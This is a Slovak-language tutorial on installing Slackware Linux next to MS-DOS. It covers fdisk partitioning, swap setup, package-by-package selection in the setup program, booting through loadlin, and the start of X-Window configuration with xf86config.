# fdisk /dev/hda Command (m for help): p Disk /dev/hda: 32 heads, 63 sectors, 827 cylinders Units = cylinders of 2016 * 512 bytes Device Boot Begin Start End Blocks Id System /dev/hda1 * 1 1 519 523120+ 6 DOS 16-bit >=32M
Command (m for help):Teda spustili sme fdisk na prvy fyzicky disk /dev/hda. Ak mame viac diskov, proceduru musime zopakovat pre vsetky, na ktorych chceme pridelit Linuxu miesto. Na prompt "Command (m for help):" programu fdisk sme odpovedali prikazom p ( print the particion table = napis obsah tabulky particii ).
Vidime, ze DOSovsky disk zabera 519 cylindrov z moznych 827. Je to 523120 blokov, teda asi 512 MB. Zvysna cast 827-519 cylindrov nam ostala volna. Vyrobme najprv swapovaciu particiu. Poradie particii vsak nie je dolezite.
Command (m for help): n Command action e extended p primary partition (1-4)Zadal som prikaz n ( new = novu ). System pochopil, ze chcem zaalokovat novu particiu a pyta sa, ci extended alebo primary. V nasom priklade vytvarame primarne particie, preto volime p - primary.
Command (m for help): n Command action e extended p primary partition (1-4) p Partition number (1-4): 2 First cylinder (520-827): 520 Last cylinder or +size or +sizeM or +sizeK ([520]-827): +32M
Command (m for help):Takze potom chcel system vediet cislo novej particie - zadal som 2, lebo particia /dev/hda1 uz existuje a patri DOSu. Prvy cylinder som zvolil 520 ( nemam dovod ponechavat volne miesto medzi particiami ) a +32M znamena, ze particia ma mat cca 32 MB ( system cislo zaokruhli tak, aby koncila presne na konci cylindra ). Prikaz p teraz ukaze stav na disk este nezapisanej tabulky particii
Command (m for help): p Disk /dev/hda: 32 heads, 63 sectors, 827 cylinders Units = cylinders of 2016 * 512 bytes Device Boot Begin Start End Blocks Id System /dev/hda1 * 1 1 519 523120+ 6 DOS 16-bit >=32M /dev/hda2 520 520 552 33264 83 Linux native Command (m for help):To som nechcel - chcem particiu pre swap, nie Linux native. Preto musim zmenit jej typ prikazom t ( chang type = zmen typ ) na 82 - Linux swap
Command (m for help): t
Partition number (1-4):
2
Hex
code (type L to list codes): 82
Changed system type of partition 2 to 82 (Linux
swap)
Command (m for help): p
Disk /dev/hda: 32 heads, 63 sectors, 827 cylinders
Units = cylinders of 2016 * 512 bytes
Device Boot Begin Start End Blocks Id System
/dev/hda1 * 1 1 519 523120+ 6 DOS 16-bit >=32M
/dev/hda2 520 520 552 33264 82 Linux swap
Command (m for help):
Vyborne. Teraz ju uz Linux rozpoznal ako swap particiu. Vytvorme aj Linuxovsku particiu. Pouzijeme rovnaky postup, len nebudeme menit jej typ:
Command (m for help): n
Command action e extended p primary partition (1-4) p Partition number (1-4): 3 First cylinder (553-827): 553 Last cylinder or +size or +sizeM or +sizeK ([553]-827): 827
Command (m for help):Uz som uviedol posledny cylinder, lebo chcem mat particiu do konca disku. Vypisme si obsah tabulky particii.
Command (m for help): p Disk /dev/hda: 32 heads, 63 sectors, 827 cylinders Units = cylinders of 2016 * 512 bytes Device Boot Begin Start End Blocks Id System /dev/hda1 * 1 1 519 523120+ 6 DOS 16-bit >=32M /dev/hda2 520 520 552 33264 82 Linux swap /dev/hda3 553 553 827 277200 83 Linux native Command (m for help):Presne to sme chceli. Teraz pozor. Prikaz w vsetko zapise do tabulky particii a pokusi sa zapisat nove informacie do tabulky particii v jadre. Je vsak vzdy lepsie rebootnot - odhlasit sa zo systemu (napisat exit) a stlacenim kombinacie klaves Ctrl-Alt-Del rebootnut pocitac. Co ak ste urobili chybu pri vytvarani particii ? Nic sa nestalo. Kym ste nepouzili prikaz w, vsetko bolo ulozene len v pamati a cinnost programu fdisk mozete bez ulozenia novej tabulky particii na disk kedykolvek ukoncit prikazom q. Kedze ja som robil pokus ako root na uz beziacom systeme, musim pouzit prikaz q, aby system nezapisal obsah tabulky particii na disk:
Command (m for help): q
darkstar:~#
Co znamenaju znaky darkstar:~# ? darkstar je implicitne oznacenie mojho pocitaca ( mozem ho samozrejme zmenit ) a ~ znamena, ze som v domovskom adresari. : sluzi len na oddelenie mena pocitaca od cesty do adresara, kde sa prave nachadzam a # je nam uz znamy prompt pre roota.
Ak mate menej ako 5 MB RAM, po rebootovani musite aktivovat swap particiu. T.j. napisete
# mkswap -c /dev/hda2 Setting up swapspace, size = 34062336 bytes #Cislo moze byt trochu ine. A nasledne napiste
# sync # swapon /dev/hda2 #Teraz uz konecne mozete spustit instalacny program setup.
# setupAk instalujete Linux Slackware, program setup zobrazi menu s niekolkymi polozkami. Prvu polozku pouzite ADDSWAP. Ak ste spravne nainstalovali swapovaciu particiu, bude Vam ponuknuta swapovacia particia: Do You wish to instal this as Your swap particion ? Nainstalujte ju. Program Vas bude varovat, ci ma urobit mkswap ( Mkswap warning - use mkswap ? ) a nasledne swapon ( Activate swap space ? ).
CITAJTE, CO SA VAS SETUP PYTA !
Ak ste doteraz prikazy mkswap a swapon nepouzili, dovolte mu to. Ak ste vsak uz prikaz swapon pouzili, nedovolte programu setup ich vykonanie, lebo prepise pripadne uz swapnute casti pamati na disku. Mozete sa dostat do problemov konciacich neuspesnou instalaciou.
Dalej Vas bude viest program setup a sam Vas bude sprevadzat potrebnymi polozkami menu. Prejdete cez menu FORMAT, ktore naformatuje novu particiu ( vytvori na nej superblok a jeho bezpecnostne kopie ). Ponukne Vam 3 moznosti: FORMAT, CHECK a DO NOT FORMAT. Pre istotu zvolte moznost CHECK. Potom sa Vas spyta, ake velke maju byt alokacne bloky = clustre. Riadte sa nasledovnou tabulkou:
1024 (1 KB) ak particia nepresahuje 64 MB 2048 (2 KB) ak particia nepresahuje 128 MB 4096 (4 KB) inakAk sa budete snazit usetrit diskovu kapacitu zmensenim alokacnych blokov, mozete narazit na problem, pretoze superblock sa zalohuje kazdych 8 192 alokacnych clustrov vzdy znovu a znovu. Pre velku particiu s malymi clustrami to moze znamenat ciastocnu stratu kapacity disku, pretoze cast disku zaberaju zalohy superbloku.
Dalsie menu - DOS and OS/2 PARTITION SETUP sa vas spyta, ci chcete "vidiet" disky DOSu a OS/2 z Linuxu: Would You like to make some of these partitions visible from Linux ? Ak odpoviete Yes, naskoci okno CHOOSE PARTITION. Pre dosovsky disk C:, napriklad, napisete /dev/hda1 ( disky budete mat ponuknute ). Potom naskoci menu SELECT (the) MOUNT POINT - zadajte nazov adresara, do ktoreho sa dany disk namountuje. Pre disk C: v MS-DOSe je vzdy zadavam /dosc. Nazov vsak moze byt lubovolny. Opat naskoci okno CHOOSE PARTITION a postup mozete opakovat pre dalsie disky. Ked budete chciet skoncit, zadajte q. "Nestlacajte" cancel, lebo program setup dane nastavenia zabudne. Medzi "tlacitkami" sa samozrejme prepinate klavesou tabulator <Tab> a "stlacite" ich klavesou <Enter> alebo <Return> alebo kombinaciami Ctrl-M alebo Ctrl-J ...:-).
SELECT SOURCE -> SOURCE MEDIA SELECTIONje menu, ktore chce zistit, ci instalujete z diskiet, CD-ROM, zo siete alebo z MS-DOS particie. Riadte sa menu. Ak instalujete z diskovej MS-DOS particie, najprv zadajte, z ktorej ( napriklad /dev/hda1 pre disk C: ), odklepnite, a potom zadajte cestu do adresara v Linuxackom formate, t.j. DOSovsku cestu \adresar1\adresar2 zadajte ako /adresar1/adresar2.
Priklad:
Instalacne diskety Linuxu som prekopiroval do adresara C:\install\linux310. V nom som pre kazdu disketu zvlast vytvoril adresare a1, a2, ..., ap1, ap2, ..., n1, n2 .... Teda jednotlive instalacne diskety su v adresaroch C:\install\linux310\a1, C:\install\linux310\a2 atd. Linuxu zadam ako prvu volbu particiu /dev/hda1, odklepnem klavesou <Enter> a ako instalacny adresar uvediem /install/linux310.
Potom sa objavi menu SERIES SELECTION - mate oznacit (medzernikom) serie diskiet, ktore mienite nainstalovat. Ja som si instaloval serie A, AP, D, F, K, TCL, X, XAP, XV, Y a nenainstaloval som si E, N, T, XD. Tym, ze som nenainstaloval siete ( seria N = networks ), nemam moznost na tlac pouzivat prikazy lp resp. lpr, cim je u mna tlac dost krkolomna. To ale nie je problem, na stroji pracujem sam, takze mozem tlacit ako pouzivatelska identifikacia root. Ak by na stroji pracovalo viac ludi, musel by som im dat rootovske prava alebo napisat nejake scripty. Ale to by som radsej nainstaloval siete, aby si mohli programom elm, pine, mail alebo mailx nechavat odkazy, t.j. elektronicku postu. Spotreba pamate by vsak vzhladom na pritomnost viacerych sietovych daemonov v pamati bola vyssia.
Po oznaceni serii diskov zvolte CONTINUE. Budete Vam polozena otazka, ci chcete zvolit NORMAL promt. Mali by ste ho zvolit.
A zacina sa samotna instalacia software. Sipky nahor ci nadol ( alebo sede plus ci minus ) vam umoznia vyberat si YES, NO, QUIT. Nepouzivajte tlacitka OK, CANCEL! Pozor, QUIT ukonci celu instalaciu. Ak teda chcete instalovat, zvolte YES ( a odklepnite klavesou <Enter> ) a ak nechcete - NO. Vela veci si system instaluje sam, lebo ich pre "hladky" beh potrebuje. Su to zalezitosti oznacene v pravom hornom rohu znackou REQUIRED. Vy mozete instalovat RECOMENDED (odporucane) ci OPTIONAL (volitelny) software. Nelakajte sa, ak pocas instalacie zazijete hlasku SEGMENTATION FAULT na chvilu sa zjaviacu v lavom dolnom rohu obrazovky. Asi je nejaka chyba v jednom zo suborov. INSTALUJTE DALEJ.
S e r i a A comms Umoznuje komunikaciu pomocou seriovej linky. Ja modem nemam, ani sa nemam ku komu pripojit. Zvolil som NO. getty som zvolil YES, ale netrebalo. Aj implicitne agetty je fajn. gpm general mouse support purpose - podpora mysi aj mimo X-window. Ja som ju instaloval. Ak lavym tlacitkom oznacite text, mozete ho vkladat strednym tlacitkom - a to dokonca aj na inej virtualnej konzole (zname copy & paste). Na dvojtlacidlovych mysiach sa namiesto stredneho tlacidla pouziva sucasne stlacenie obidvoch tlacidiel. Zvolte YES. icbs Intel binary compatibility - schopnost spustat software urcene pre ine PC-UNIX systemy - AIX od IBM, Xenix, Minix atd. Myslim, ze ju nevyuzijete. ide Jadro pre IDE a EIDE hard disky. Ak nemate scsi radic, zvolte YES. Jedno jadro MUSITE mat - ide alebo scsi. keytbls Tabulky pre nie UNIXovske klavesnice ( aj pre makcene atd ). Ja to nepouzivam. loadlin je program pre MS-DOS, ktory umozni nastartovat Linux. Zvolte YES. pcmcia Podpora kariet pcmcia pre notebooky. Na desktopovych pocitacoch zvolte NO. scsi Ak nemate IDE ci EIDE radic, ale SCSI, zvolte YES. tcsh Implicitne budete mat /bin/bash shell. Ak sa Vam nepaci, mozete nainstalovat shell /bin/tcsh. Mali by ste zvolit YES. S e r i a A P ash Namiesto /bin/bash ci /bin/tcsh mozete zvolit shell /bin/ash, ktory umoznuje len slabu podmnozinu funkcii Linuxovskych shellov, ale je maly a setri pamat. Je pouzity pri instalacii Linuxu. Ja by som ho neinstaloval. Vo vacsine pripadov zvolite NO. bc Jazyk umoznujuci presne kalkulacie. Vo vacsine pripadov zvolite NO. diff Je to program podobny dosovskemu fc - file compare. Prikaz 'diff s1 s2' najde rozdiely medzi subormi s1 a s2. Zvolte YES. ghoscr Program gs ci ghostscript resp. ghostview dokaze citat postscriptove subory a konvertovat ich pre tlac na neposkriptovych tlaciarnach. Zvolte YES. gp9600 Je program umoznujuci konfigurovat rychlost modemu. Ak mate modem, zvolte YES. gsfonts1 Fonty pre ghostscript. Zvolte YES. Snazte sa instalovat vsetky mozne fonty aj pre X-Window a LaTeX. POZOR: Fonty zaberaju privela miesta na disku. joe Jednoduchy editor. YES. mnt_st Podporuje nejake paskove pamate. Asi ich nemate - zvolte NO. quota Umoznuje kvotovat miesto na disku, aby niektory pouzivatel nezabral privela miesta na disku. Ja som ju nainstaloval, ale ju nepouzivam. Po spusteni systemu "naostro" sa pomocou 'man quota' dozviete viac. sudo Umozni pridelit niektorym pouzivatelom rootovske prava. NO. ispell Skontroluje text napisany po anglicky. Sikovna vec. YES. jpeg Umoznuje dekodovat obrazky vo formate jpeg. Ja som dal YES. workbone Je to prehravac hudobnych CD. Ak mate CD-ROM, zvolte YES. gsfonts2 Druha cast fontov pre postscript. YES. jove Editor kompatibilny s EMACSom. Vela ludi ho pouziva. Po spusteni systemu "naostro" napiste 'teachjove' na prikazovom riadku a program jove Vas nauci, ako sa s nim robi. Zvolte YES. jed Editor zaberajuci viac ako 1 MB na disku. Umoznuje editovat binarne subory a programy. Asi zvolite YES. manpgs Su to manualy pre program man. Zvolte YES !!! mc Midnith Commander for Linux je nadstavba shellu podobna programom Norton Commander, Volcov Commander ci Dos Navigator. Zvolte YES. sc Spreadsheet, ktory asi nikdy nepouzijete. Zvolte NO. texinfo Potrebujete pre citanie niektorych informacii. Zvolte YES. vim Program vim je vi improved - vylepseny textovy editor vi. Asi ho nikdy nepouzijete. Ja som zvolil YES. zsh Je nejaky nekompatibilny shell. Ja som preto zvolil NO. S e r i a D byson ANO. byacc ANO. Su to generatory gramatik z Berkeley a je dobre ponechat ich. g77 Kompilator FORTRANu. Kto dnes programuje vo FORTRANe ? Zvolte NIE. man2 Instalujte vsetky manualy, vyhnete sa problemom. Zvolte ANO. gcaout Kompilator pre a.out subory. Potrebujete ho, ak chcete kompilovat stary software. Novy software ma format ELF. Zvolte NIE. strace Tento program umoznuje trasovat systemove volania. Je to celkom sikovna vec. Po dekompresii na disku zaberie len 90 KB. Ja mam take pravidlo - ak neviete, ci danu vec potrebujete a na disku zabera menej ako 100 KB, nainstalujte ju. Zvolte ANO. gcl Gnu Common Lisp je interpreter (ci skor kompletne prostredie) jazyka umelej inteligencie LISPu. Lisp sa pouziva na programovanie v AutoCade, bol v nom napisany editor EMACS atd. Ak ho ale nepotrebujete, zvolte NIE. man3 Opat manualy - bez vahania ANO. gdb Debugger - umoznuje sledovat, ci napisany program vykonava to, co od neho ocakavame. Zvolte ANO. gxx272 Je to kompilator jazyka C++ (co je objektovy jazyk C) tvoriaci spustitelne subory v ELF formate. Zvolte ANO. p2c Prekladac zdrojoveho kodu z PASCALu do jazyka C. Asi zvolite NIE. gxxaout Je to kompilator jazyka C++ (co je objektovy jazyk C) tvoriaci spustitelne subory v starom a.out formate. Zvolte NO. objc272 Je to kompilator Objective-C, co je iny objektovy jazyk C, nez je C++. C++ je norma, objc272 nepotrebujete. Ja som ho neinstaloval. Tiez vytvara spustitelne subory v ELF formate. libaout Su kniznice pre a.out format. Ak ste neinstalovali kompilatory a.out, nepotrebujete ani kniznice. rcs Revizny a kontrolny system asi nepouzijete. Ale nainstalovat ho mozete. terminfo Je velmi dolezite nainstalovat terminfo, lebo budete mat problemy pod X-Window pri spustani napriklad Midnith Commandera. Zvolte ANO !!! libcinfo Zvolte ANO. objcaout Je to Objective C generujuce stary a.out format. Zvolte NIE. libgxx Toto su kniznice pre Objective-C. Instalujte ich, ak ste nainstalovali objc272. ncurses Ncurses je velmi prijemna kniznica umoznujuca programovat okna pre textovy mod. Obsahuje orezanu kniznicu terminfo postacujucu pre program Midnith Commander. svgalib Velmi prijemna kniznica umoznujuca programovat aplikacie v grafickom mode MIMO PROSTREDIA X-Window. Zvolte YES. perl1 Prva cast programovacieho jazyka Perl. tools Nejake utility pre vytvaranie dynamickych kniznic. Ja som ich nainstaloval. perl2 Druha cast jazyka PERL. Ak ho chcete mat, potrebujete obidve casti. S e r i a K lx200_1 Prva disketa zdrojovych textov VELMI ROZMERNEHO JADRA. Su potrebne, ak si chcete vyrobit nove jadro bez zbytocnych ovladacov. Alebo s ovladacmi, ktore v standardnych jadrach ( na serii Q ) nie su. Nepamatam si presne, myslim vsak, ze samotne zdrojaky zaberaju 23 MB na disku. Niektori ludia hovoria, ze ovela viac. Po kompilacii na disku zbytocne ostanu pomocne binarne subory ( to su tie, ktore maju koncovku .obj ), ktorych zlinkovanim vznika nove jadro. lx200_2 Druha disketa zdrojovych textov jadra Linuxu. Uvedomte si, ze jadro nepotrebujete instalovat, pokial ho nechcete kompilovat ci studovat. ls200_3 Tretia disketa jadra Linuxu. lx200_4 Stvrta disketa jadra Linuxu. lx200_5 Piata disketa jadra Linuxu. lx200_6 Siesta disketa jadra Linuxu. S e r i a TCL tk4.1 Tcl je programovaci jazyk. Dokaze ho interpretovat interpreter, ktory je mozne prilinkovat ( pripojit ) k programu napisanemu napriklad v jazyku C. Samotny tcl nie je velmi uzitocny. V spojeni s tk je vsak velmi uzitocny a mocny. Bez toho, aby som mal o tcl ci tk sajnu som s nim za jediny den vyrobil aplikaciu pod X-Window. Tk je teda nadstavba tcl umoznujuca generovat aplikacie pod system X-Window. Vie jednoducho pracovat s bitmapami atd. Mne sa paci. Zvolil som YES. tclx Extended - rozsireny jazyk tcl. Opat som zvolil YES. tkdesk V jazyku tcl/tk naprogramovali velmi kvalitny desktop - manazer suborov a programov pod X-Window. Je lahko konfigurovatelny a urychluje Vasu pracu - ak mate aspon 12 MB RAM. S e r i a X fntl100_1 Prva cast 100 DPI fontov pod system X-Window. Berte vsetky ! Fonty popisuju tvar pismen. Rozne programy vyzaduju rozne fonty. Ak pozadovane fonty nebudu k dispozicii, niektore programi odmietnu pracovat. fvwmicons Su to ikony (malicke obrazky reprezentujuce subory a programy) z nejakeho servra. Ja som ich instaloval. x312ubin Ma len 10 KB, bez vahania berte. Je to rstartd pre klienta rstart. fnt100_2 Aha, tu je druha cast 100 DPI fontov. Preco su to casti? Lebo nie vsetky fonty sa (ani po skompresovani) zmestili na jedinu disketu. fntbig3 Iha, tu zaciname VELKE fonty tretou castou, nie prvou. Zvolte YES. x312ctrb Su to programy, bez ktorych prezijete. Ja som vsak zvolil YES. fntbig1 Mame tu velke fonty - konecne cast prvu. Zvolte YES. x312doc Su doc (dokumentarne) subory pre programy beziace pod X-Window. Berte ich. fntbig2 Konecne je tu druha cast velkych fontov (vhodne su pre velke rozlisenia, lebo male fonty robia malicke pismenka). Zvolte YES. oldlibs5 Su to kniznice pre stare programy. Asi ich nebudete potrebovat. oldlibs6 Je to vylepsena verzia predoslych kniznic. Ale opat nepotrebna. Kedysi ich potreboval DOOM, ak ste ho chceli spustat pod X-Window. Teraz DOOMa nemam, ale asi ich este vyzaduje. Nema zmysel spustat tuto hru pod X-Window. Bezi v takom malickom okne, ze sa takmer neda hrat. x3128514 Tento program umoznuje spojenie s IBM strojmi, ktore su velmi nesympaticke prave pre spajanie s UNIX ci MS-DOS strojmi. Asi to nebudete potrebovat, pokial neinstalujete Linux vo firme, kde tieto stroje su. x312agx Je to ovladac (v X-Window ich nazyvame server, kedze plnia aj ulohu akejsi nadstavby UNIXu) pre graficke karty s cipom IIT AGX-016, IIT AGX-015 alebo IIT AGX-014. Instalujte len tie servre, ake graficke karty mate na pripojenych terminaloch. x312inc Toto su hlavickove subory pre programovanie aplikacii pre system X-Window v jazyku C. Ja som ich instaloval. x312f75 Toto su 75 DPI fonty. Berte ich. x312fcyr Cyrilicke fonty umoznujuce zobrazovat pod X-Window texty pisane v azbuke ci podobnych nestandardnych pismach. x312fscl POZOR ! Toto su skalovatelne fonty porovnatelne s tzv. true type fontami znamymi z Microsoft Windows. Ich vyhodou je moznost menit rozmery pismen. Su velmi uzitocne. BERTE ICH !!! x312ma32 Asi sa cudujete cisliciam x312. Je to jednoducho verzia X-Window. Verzia 3.1 prisla zhruba v dobe, ked nad MS-DOSom vznikli Microsoft Windows 3.1. Subor x312ma32 je server (obsluhovac) pre graficke karty s 32 bitovym cipom Mach32. x312ma64 Server pre graficku kartu so 64 bitovym cipom Mach64. x312ma8 Server pre graficku kartu s 8 bitovym cipom Mach8. x312mono Monochromaticky (jednofarebny = cierno-biely) server. x312p9k Je to server pre graficke karty s cipom P 9000. x312man Manualy pre X-Window. Instalujte ich ! x312s3 Server pre velmi kvalitne cenovo vyhodne 32 a 64 bitove graficke akceleratory s kvalitnym cipom S3. x312svga Ide o vseobecny server napriklad pre graficke karty firmy Trident. x312vga Server podobny predoslemu, ale umoznuje len slabe rozlisenia. Jeho vyhodou je, ze spolupracuje s vacsinou znamych grafickych kariet na zbernici ISA, Vesa Local Bus, ci PCI. x312w32 Je to server pre graficke karty s cipom ET 400 / W 32. x312xtna Toto su servre pre konzolu bez grafickeho displaya. Ak chcete usetrit peniaze a pocitac mate "schovany" - zavrety v nejakej miestnosti, pricom spristupnite len X-terminaly, je to riesenie schopne usetrit na grafickej karte a monitore asi 10 000 Sk. Neviem, ci je to dobry napad, ale ked je hostitelsky pocitac naozaj bezne nepristupny, je naozaj zbytocne davad nan 21 palcovy monitor a Diamond Stealth so 4 MB vram. S e r i a X A P gchess Sach pre X-Window. Potrebujete aspon 16 MB fyzickej pamate RAM, inak nan rychlo zabudnite. Je to kvalitny sach prisposobeny tak, aby ho mohli hrat jednotlive UNIXove stroje medzi sebou. Ja som ho neinstaloval. ghostview Umoznuje citat postscriptove subory a pripadne ich tlacit na postscriptovej tlaciarni (laserovej od Hewlett-Packard). Zvolte YES. Mnozstvo manualov byva dodanych prave vo forme .ps. gnuplot Vektorovy kresliaci program. Zvolte YES. gs_x11 Je to nahrada programu gs pracujuceho mimo X-Window aplikaciou pracujucou pod X-Window. Zvolte YES. seyon Telekomunikacny balik. Celkom slusny. Ja som ho neinstaloval. Nemam siet ani modem. Jedinym pouzivatelom stroja som ja. xxgdb Gnu debugger pod X-Window zabera len malo miesta na disku. Ak ste nainstalovali klasicky debuger v serii D, nainstalujte aj tento. Je to jeho nadstavba. arena Je to shareware - program (takmer) zadarmo nahradzujuci program Netscape. Je urceny na citanie www stranok (suborov .html) napisanych v jazyku HTML. Tieto stranky sa nachadzaju na INTERNETe. Mozete si ho nainstalovat. Ak nemate Netscape. Netscape je pouzivatelsky omnoho privetivejsi. libgr Je to kniznica umoznujuca dekodovat rozne formaty kompresovanych obrazkov - giff, tiff, jpeg. Ja som ju nainstaloval. x3270 Je to emulator klasickeho terminalu 3270 umoznujuci pripojit sa na stroj IBM s kodovanim znakov EBCDIC (nie ASCII). xfm Manazer suborov pre X-Window. Ja som ho instaloval. xpaint Ak poznate bitmapovy kresliaci program pod Microsoft Windows s nazvom paintbrush, toto je jeho UNIXovy bracek. Instalujte ho. fvwm95 Manazer okien pre X-Window velmi podobny rozhraniu Microsoft Windows '95 ci Microsoft Windows NT 4.0. xfileman Je to podobne ako xfm manazer suborov pod X-Window. Instalujte ho. xfract Slavne fraktaly pre MS-DOS prerobene pod X-Window. Neinstalujte. xgames Hry pre X-Window. Niektore su celkom zabavne - to su tie, ktore sprijemnia vas pobyt pri pocitaci. Napriklad Xeyes su oci sledujuce kurzor mysi, Xroach su chrobaciky schovavajuce sa za okna :-). xspread Jednoduchy spreadsheet pod X-Window. xv Kvalitny citac obrazkov umoznujuci rozne konverzie ich formatov a tlac na tlaciarni. S e r i a X V workman Je program na prehravanie hudobnych CD diskov. Ja som neinstaloval, nemam CD. xv32_a Staticke kniznice potrebne, ak chcete debugovat (krokovat) programy napisane pod X-Window specialne vyuzivajuce xv. Instaloval som. xv32exmp Priklady programovania pod xv zaberajuce 1.6 MB. Instaloval som. xvinc32 Su to include ( hlavickove ) subory potrebne pre programovanie pod xv. Ja som ich instaloval. sspkg Vylepsenia pre programovanie aj s mnozstvom prikladov. instaloval som. S e r i a Y bsdgames Su to hry pochadzajuce z BSD UNIXu (Berkeley Software Distribution UNIX from the University at Berkeley). Zaberaju vyse 2 MB. Instaloval som ich. lizards Je videohra zaberajuca 1 MB. Instaloval som ju. sastroid Opat hra vo videomode (vsetky hry na disku Y1 su mimo X-Window) zaberajuca 320 KB. instaloval som ju. tetris Toto su prave tetris pre stare negraficke terminaly. Instaloval som ich.
Configure CD-ROM ? Toto menu umozni konfigurovat nestandardne CD-ROM mechaniky. Standardne vraj jadro rozpozna samo.
Lilo installation. S tymto menu sa potrapte sami. Pouzijete ho v pripade, ze nemate nainstalovany system MS-DOS. Inak asi budete pouzivat loadlin.exe program pre MS-DOS, pretoze lilo (linux loader = bootovac [spustac] Linuxu) sa zapisuje do master bootu na disku a niektori ludia hlasili problemy v kombinacii s operacnymi systemami Microsoft Windows '95, OS/2 ci Microsoft Windows NT. Aj ked mnohi (vratane mna) s nim problemy nemali. Ja ale uz pouzivam loadlin.exe, co odporucam aj vam. lilo vraj nevie bootovat Linux z particie nachadzajucej sa nad magickou hranicou 1024 cylindrov. loadlin.exe umoznuje volbu jadra (ak ich mate viac) velmi jednoduchym sposobom. Preto je pre mna pritazlivejsi. Preto som v tomto menu zvolil SKIP.
Gpm configuration. V tomto menu chce system vediet, ci ma podporu mysi spustat po kazdom spusteni systemu. Ak nemate malo RAM, zvolte YES.
Timezone configuration. System chce, aby ste mu urcili cas. My sme GMT+001, od Greenwitchu o 1 hodinu posunuti. Mame STREDOEUROPSKY cas. Zvolte Europe/Bratislava alebo Europe/Praha alebo GMT+001. Zalezi na verzii Linuxu.
System by mal teraz vyhlasit SETUP COMPLETE. Potvrdte mu tuto hlasku ( ak caka na stlacenie kalvesy <Enter> ) a dostanete sa do hlavneho menu programu setup. Zvolte polozku Exit. Dostanete sa do shellu. Napiste
# sync # exita po vypisani prihlasovacieho promtu Linuxu stlacte kombinaciu klaves Ctrl-Alt-Del.
Prihlaste sa ako root:
Welcome to Linux 2.0.0. darkstar login: root Last login: Wed Oct 16 19:00:15 on tty1 Linux 2.0.0. You have mail. #Ako to, ze mate elektronicku spravu (e-mail) ? To Vam len tvorca software (ci skor distribucie) nainstaloval do suboru /var/spool/mail/root nejaky odkaz. Mozete ho precitat programom elm alebo priamo prikazom more /var/spool/mail/root.
S tym sa ale pohrate neskor, pristupme radsej k poinstalacnej konfiguracii. Ako root mate v adresari 2 subory:
# ls lodlin16.txt lodlin16.zip #Subor lodlin16.txt obsahuje zhruba to, co dalej napisem, ale detailnejsie.
Opat si vsetko ukazeme na priklade. Chceme ulozit subory potrebne pre spustenie Linuxu do MS-DOSovskeho adresara C:\LOADLIN. Disk c: mame namountovany (automaticky) v adresari /dosc.
# mkdir /dosc/loadlin # cp lodlin16.zip /dosc/lll # cp /vmlinuz /dosc/loadlin #Vytvorili sme adresar C:\LOADLIN, do ktoreho sme prekopirovali skompresovany subor lodlin16.zip. Z tohto suboru nas zaujima len program loadlin.exe, ktory ziskame dekomprimaciou. Ak nemame pod operacnym systemom MS-DOS nainstalovany program pkunzip.exe, mozeme subor lodlin16.zip rozbalit priamo v Linuxe prikazom
# unzip lodlin16.zip #Vytvori sa adresar /root/loadlin a v nom bude rozbaleny subor lodlin16.zip. Mozeme prekopirovat program /root/loadlin/loadlin.exe do adresara /dosc/loadlin
# cp loadlin/loadlin.exe /dosc/loadlin #Teraz sa odhlasime:
# exita stlacime Ctrl-Alt-Del. System sa rebootne. Pozor, spustite MS-DOS, nie Linux. Teda vyberte spustaciu disketu z mechaniky A:. Ak ste subor lodlin16.zip rozbalili pod Linuxom a prekopirovali loadlin.exe do /dosc/loadlin, nemusite robit vobec nic. Inak napiste ( znak > je prompt MS-DOSu )
> cd \loadlin > pkunzip -d lodlin16.zip >Ziskate tak mnozstvo suborov. Potrebujete program LOADLIN.EXE, ktory spusta Linux a subor VMLINUZ. Je to samotne jadro Linuxu. Vsetky ostatne subory a podadresare v adresari \loadlin mozete pokojne vymazat. Napomocnym Vam moze byt priklad linux.bat. Je to batch subor (cosi ako script) operacneho systemu MS-DOS. Tu je jeho obsah.
rem Batch subor startujuci Linux - priklad.
rem Najprv zapisme obsah vyrovnavacej pamate na
disk.
smartdrv /C
rem Ak nepouzivate smartdrv ale inu cache - pouzite
adekvatny prikaz
rem namiesto smartdrv /C.
rem Startneme Linux:
c:\loadlin\loadlin.exe c:\loadlin\vmlinuz root=/dev/hda3 ro
vga=3
Toto bol len priklad. Namiesto hda3 dosadte particiu, na ktorej sidli Vas Linux. Ak si nepamatate jej cislo, zabootujte Linux z diskety, prihlaste sa ako root a napiste
# mount /dev/hda3 on / type ext2 (rw) /dev/hda1 on /dosc type vfat (rw) none on /proc type proc (rw) #Vyhladajte riadok obsahujuci samostatne lomitko. To je vasa root particia. V mojom priklade je to riadok
/dev/hda3 on / type ext2 (rw)a teda viem, ze parameter root=/dev/hda3 je spravny. Pre uplnost dodajme, ze prikaz mount bez parametrov vypise momentalne namountovane disky (logicke aj fyzicke) a ich popis vo forme
/dev/hda3 on / type ext2 (rw)co nam hovori, ze na IDE prvom (master) hard disku je suborovy system extended 2, je namountovany do hlavneho adresara ( / ) a je mozne z neho citat aj nan zapisovat ( (rw) ).
To je vsetko. Nepovinny parameter vga=3 vyrobi viac nez 80x25 znakov na obrazovke. Mne sa ale nepaci, preto som ho u seba doma uplne vynechal.
Nemusite vsak kompletne spustat MS-DOS, aby sa startol Linux. Ak ste si v MS-DOSe urobili menu v subore config.sys, vytvorte polozku [LINUX] a pridajte tieto dva riadky:
[LINUX] SHELL=C:\LOADLIN\LOADLIN.EXE c:\loadlin\vmlinuz root=/dev/hda3 roDodrzte velkost pismen !
Teraz restartujte pocitac a mali by ste byt schopni zabootovat Linux z disku.
# xf86configPOZOR. Je mozne, ze budete pomocou tohto programu konfigurovat system niekolkokrat, kym sa dopracujete k beziacemu systemu X-Window.
Ak viete po anglicky, precitajte si celu vypisanu obrazovku a stlacte klavesu <Enter>. To iste robte s druhou obrazovkou. Teraz musite zvolit typ mysi, ktoru pouzivate. Ak v menu taka mys nie je, zvolte podla Vas najpodobnejsiu. Dvojtlacitkove mysi su casto kopatibilne s mysou Microsoft, trojtlacitkove s Mouse Systems. POZOR. Mys Vam nebude fungovat pod X-Window, ak ju nainstalujete zle. Ak si neviete rady, budete musiet postupne odskusat vsetky moznosti.
Teraz zadajte cislo menu a stlacte klavesu <Enter>. Pripadna otazka "Do you want to enable ClearDTR and ClearRTS?" sa tyka trojtlacitkovych mysi. Opat musite odskusat instalaciu najprv tak, ze ClearDTR a ClearRTS nepovolite a ak mys nebude fungovat, pri rekonfiguracii tieto prikazy povolite.
Otazku "Do you want to enable Emulate3Buttons?" zodpovedzte kladne, ak ste instalovali dvojtlacitkovu mys, inak zaporne. (odpovede y alebo n).
